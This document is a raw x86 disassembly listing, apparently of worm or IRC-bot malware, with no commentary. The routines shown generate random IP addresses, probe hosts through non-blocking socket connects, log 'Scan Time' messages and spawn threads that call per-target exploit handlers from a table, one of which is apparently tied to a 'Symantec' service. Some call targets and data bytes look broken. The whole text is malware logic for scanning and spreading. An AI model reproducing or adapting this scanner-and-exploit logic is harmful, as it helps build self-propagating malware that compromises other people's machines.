sub_40B7DA	proc near		; CODE XREF: sub_401ACD+2AB3p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_437158
		push	eax
		call	sub_41B886
		cmp	dword_436D08, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B846
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40B80F:				; CODE XREF: sub_40B7DA+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_437148
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B80F
		pop	esi


loc_40B846:				; CODE XREF: sub_40B7DA+2Dj
		push	dword_4D0564
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40B7DA	endp

; ---------------------------------------------------------------------------
byte_40B8A1	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+30E0o
; ---------------------------------------------------------------------------
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	dword_4D0864
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	dword_436D08, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_40BA03
		mov	ebx, offset dword_436D08
		mov	eax, ebx


loc_40B8F2:				; CODE XREF: ___:0040B9FDj
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C087
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B9F3
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_4371A8
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40B98E
		lea	eax, [ebp-124h]


loc_40B98E:				; CODE XREF: ___:0040B986j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41B886
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_40B9F3:				; CODE XREF: ___:0040B905j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40B8F2


loc_40BA03:				; CODE XREF: ___:0040B8E5j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_437174
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		add	esp, 2Ch
		push	edi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 0AAh, 45h
		db 2Eh,	2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA56	proc near		; CODE XREF: sub_401ACD+244Ep

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_40BA92
		mov	eax, [ebp+arg_C]
		push	dword_4D0970[eax*8]
		call	dword_4D08B0
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_4371F8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40BAA5
; ---------------------------------------------------------------------------


loc_40BA92:				; CODE XREF: sub_40BA56+13j
		lea	eax, [ebp+var_200]
		push	offset unk_4371D8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40BAA5:				; CODE XREF: sub_40BA56+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		leave
		retn
sub_40BA56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BACD	proc near		; CODE XREF: sub_40C124+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40BF9F
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_436D14[eax], ebx
		jz	loc_40BF9F
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BD54
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4D2A2C
		push	104h
		push	esi
		push	ebx
		mov	dword_4D2C3C, eax
		mov	dword_4D2C38, ebx
		nop
		call	near ptr 2680000h
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4D2B30
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4D2A28, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4D2CC0, eax
		jnz	short loc_40BB80
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4D2C40
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4D2CC4, 1
		jmp	short loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BB80:				; CODE XREF: sub_40BACD+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4D2C40
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4D2CC4, ebx


loc_40BB9A:				; CODE XREF: sub_40BACD+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4D2C3C
		push	offset unk_43178C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4D2C34, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D2A28
		push	offset word_411796
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, dword_4D2C34
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_40BC08


loc_40BBF6:				; CODE XREF: sub_40BACD+139j
		cmp	dword_4D2CC8, ebx
		jnz	short loc_40BC23
		push	32h
		nop
		call	near ptr 2680E26h
		jmp	short loc_40BBF6
; ---------------------------------------------------------------------------


loc_40BC08:				; CODE XREF: sub_40BACD+127j
		nop
		call	near ptr 2690A97h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_437318
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BC23:				; CODE XREF: sub_40BACD+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		mov	eax, dword_4D0560
		mov	esi, offset dword_4D2CD4
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4D2EE4, eax
		mov	dword_4D2EE0, ebx
		nop
		call	near ptr 2680000h
		push	103h
		push	edi
		push	offset dword_4D2DD8
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4D2CD0, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4D2F68, eax
		push	7Fh
		jnz	short loc_40BCA4
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4D2EE8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4D2F6C, 1
		jmp	short loc_40BCBE
; ---------------------------------------------------------------------------


loc_40BCA4:				; CODE XREF: sub_40BACD+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4D2EE8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4D2F6C, ebx


loc_40BCBE:				; CODE XREF: sub_40BACD+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4D2EE4
		push	offset unk_4372E4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4D2EDC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D2CD0
		push	offset byte_40E991
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, dword_4D2EDC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_40BD2C


loc_40BD1A:				; CODE XREF: sub_40BACD+25Dj
		cmp	dword_4D2F70, ebx
		jnz	short loc_40BD47
		push	32h
		nop
		call	near ptr 2680E26h
		jmp	short loc_40BD1A
; ---------------------------------------------------------------------------


loc_40BD2C:				; CODE XREF: sub_40BACD+24Bj
		nop
		call	near ptr 2690A97h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4372B0
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BD47:				; CODE XREF: sub_40BACD+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40BD54:				; CODE XREF: sub_40BACD+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_436D1C[ecx], ebx
		jz	loc_40BE7D
		push	7
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BE77
		mov	eax, dword_4D356C
		cmp	[ebp+arg_90], bl
		mov	dword_4D2994, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4D2988, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4D2990, ebx
		mov	dword_4D2A18, eax
		push	7Fh
		jnz	short loc_40BDC8
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4D2998
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4D2A1C, 1
		jmp	short loc_40BDE2
; ---------------------------------------------------------------------------


loc_40BDC8:				; CODE XREF: sub_40BACD+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4D2998
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4D2A1C, ebx


loc_40BDE2:				; CODE XREF: sub_40BACD+2F9j
		push	dword_4D2994
		lea	eax, [ebp+var_204]
		push	offset unk_437280
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	dword_4D298C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D2988
		push	offset byte_40E6EF
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, dword_4D298C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_40BE4F


loc_40BE3D:				; CODE XREF: sub_40BACD+380j
		cmp	dword_4D2A20, ebx
		jnz	short loc_40BE6A
		push	32h
		nop
		call	near ptr 2680E26h
		jmp	short loc_40BE3D
; ---------------------------------------------------------------------------


loc_40BE4F:				; CODE XREF: sub_40BACD+36Ej
		nop
		call	near ptr 2690A97h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_437248
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BE6A:				; CODE XREF: sub_40BACD+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40BE77:				; CODE XREF: sub_40BACD+2A8j
		mov	eax, [ebp+arg_130]


loc_40BE7D:				; CODE XREF: sub_40BACD+298j
		shl	eax, 6
		cmp	dword_436D18[eax], ebx
		jz	loc_40BF9F
		push	3
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BF9F
		mov	esi, offset dword_4D3204
		push	104h
		push	esi
		push	ebx
		call	near ptr 2680000h
		nop
		push	5Ch
		push	esi
		call	sub_41BE40
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BEBE
		mov	[eax], bl


loc_40BEBE:				; CODE XREF: sub_40BACD+3EDj
		mov	eax, dword_42907C
		mov	dword_4D331C, ebx
		mov	dword_4D3308, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4D2F7C
		call	sub_41B886
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4D2F78, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4D3308
		mov	dword_4D3314, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4D3318, ecx
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431714
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	dword_4D3310, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4D2F78
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, dword_4D3310
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_40BF77


loc_40BF65:				; CODE XREF: sub_40BACD+4A8j
		cmp	dword_4D3324, ebx
		jnz	short loc_40BF92
		push	32h
		call	near ptr 2680E26h
		nop
		jmp	short loc_40BF65
; ---------------------------------------------------------------------------


loc_40BF77:				; CODE XREF: sub_40BACD+496j
		nop
		call	near ptr 2690A97h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_437214
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BF92:				; CODE XREF: sub_40BACD+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40BF9F:				; CODE XREF: sub_40BACD+14j
					; sub_40BACD+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFA3	proc near		; CODE XREF: sub_40C124:loc_40C195p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4D0970h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4D074C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4D0820
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BFA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFEB	proc near		; CODE XREF: sub_40C124+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41AFE0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C013
		xor	eax, eax
		jmp	short loc_40C084
; ---------------------------------------------------------------------------


loc_40C013:				; CODE XREF: sub_40BFEB+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41C645
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C040
		call	sub_41B8E2
		mov	[ebp+var_C], eax


loc_40C040:				; CODE XREF: sub_40BFEB+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C04D
		call	sub_41B8E2
		mov	[ebp+var_8], eax


loc_40C04D:				; CODE XREF: sub_40BFEB+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C05A
		call	sub_41B8E2
		mov	[ebp+var_4], eax


loc_40C05A:				; CODE XREF: sub_40BFEB+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C066
		call	sub_41B8E2


loc_40C066:				; CODE XREF: sub_40BFEB+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4D0970[ecx*8], eax


loc_40C084:				; CODE XREF: sub_40BFEB+26j
		pop	esi
		leave
		retn
sub_40BFEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C087	proc near		; CODE XREF: ___:0040B8FAp
					; sub_40C124+BBp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4D08A4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C0B0
		xor	eax, eax
		jmp	short loc_40C11F
; ---------------------------------------------------------------------------


loc_40C0B0:				; CODE XREF: sub_40C087+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4D0824
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4D08C0
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4D07CC
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4D080C
		push	esi
		mov	edi, eax
		call	dword_4D08BC
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C11F:				; CODE XREF: sub_40C087+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C087	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C124	proc near		; DATA XREF: sub_40C124+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 26A0B14h
		push	eax
		call	sub_41B8D8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C16B:				; CODE XREF: sub_40C124+204j
		mov	eax, dword_443764[ebx]
		cmp	dword_4D0974[eax*8], 0
		jz	loc_40C32D
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C195
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40BFEB
		pop	ecx
		jmp	short loc_40C19A
; ---------------------------------------------------------------------------


loc_40C195:				; CODE XREF: sub_40C124+60j
		call	sub_40BFA3


loc_40C19A:				; CODE XREF: sub_40C124+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_443764[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4D08B0
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_437374
		push	eax
		call	sub_41B886
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_443560[ebx]
		push	eax
		call	sub_41B886
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C087
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C31D
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C271
		push	offset dword_4D2970
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_4D08B0
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_43734C
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C253
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C247
		lea	eax, [ebp+var_140]


loc_40C247:				; CODE XREF: sub_40C124+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409A72
		add	esp, 14h


loc_40C253:				; CODE XREF: sub_40C124+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4151AC
		mov	[esp+29Ch+var_29C], offset dword_4D2970
		nop
		call	near ptr 77F7E300h
		jmp	loc_40C31D
; ---------------------------------------------------------------------------


loc_40C271:				; CODE XREF: sub_40C124+D0j
		push	edi
		call	dword_4D08B0
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C2B6
		lea	eax, [ebp+var_140]


loc_40C2B6:				; CODE XREF: sub_40C124+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_436D0C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C31D:				; CODE XREF: sub_40C124+C6j
					; sub_40C124+148j
		push	7D0h
		call	near ptr 2680E26h
		nop
		jmp	loc_40C16B
; ---------------------------------------------------------------------------


loc_40C32D:				; CODE XREF: sub_40C124+55j
		push	esi
		call	sub_40B412
		pop	ecx
		push	0
		nop
		call	near ptr 26F0000h


loc_40C33C:				; DATA XREF: sub_401ACD+1F81o
					; sub_401ACD+5C48o
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4D0864
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4D0970[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BACD
		push	0Bh
		call	sub_40B33E
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C40A
		mov	esi, offset dword_4D2970
		push	esi
		nop
		call	near ptr 26F074Dh
		push	80000400h
		push	esi
		nop
		call	near ptr 26F0585h
		test	eax, eax
		jnz	short loc_40C40A
		lea	eax, [ebp+var_1CC]
		push	offset unk_437458
		push	eax
		call	sub_41B886
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C3F4
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h


loc_40C3F4:				; CODE XREF: sub_40C124+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C40A:				; CODE XREF: sub_40C124+27Bj
					; sub_40C124+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427078
		mov	edi, ebx
		mov	dword_4D0974[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C4D7


loc_40C428:				; CODE XREF: sub_40C124+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_437424
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_443764[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C124
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_40C4A2


loc_40C497:				; CODE XREF: sub_40C124+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C4C9
		push	1Eh
		call	esi
		jmp	short loc_40C497
; ---------------------------------------------------------------------------


loc_40C4A2:				; CODE XREF: sub_40C124+371j
		call	near ptr 2690A97h
		nop
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4373EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1CC]
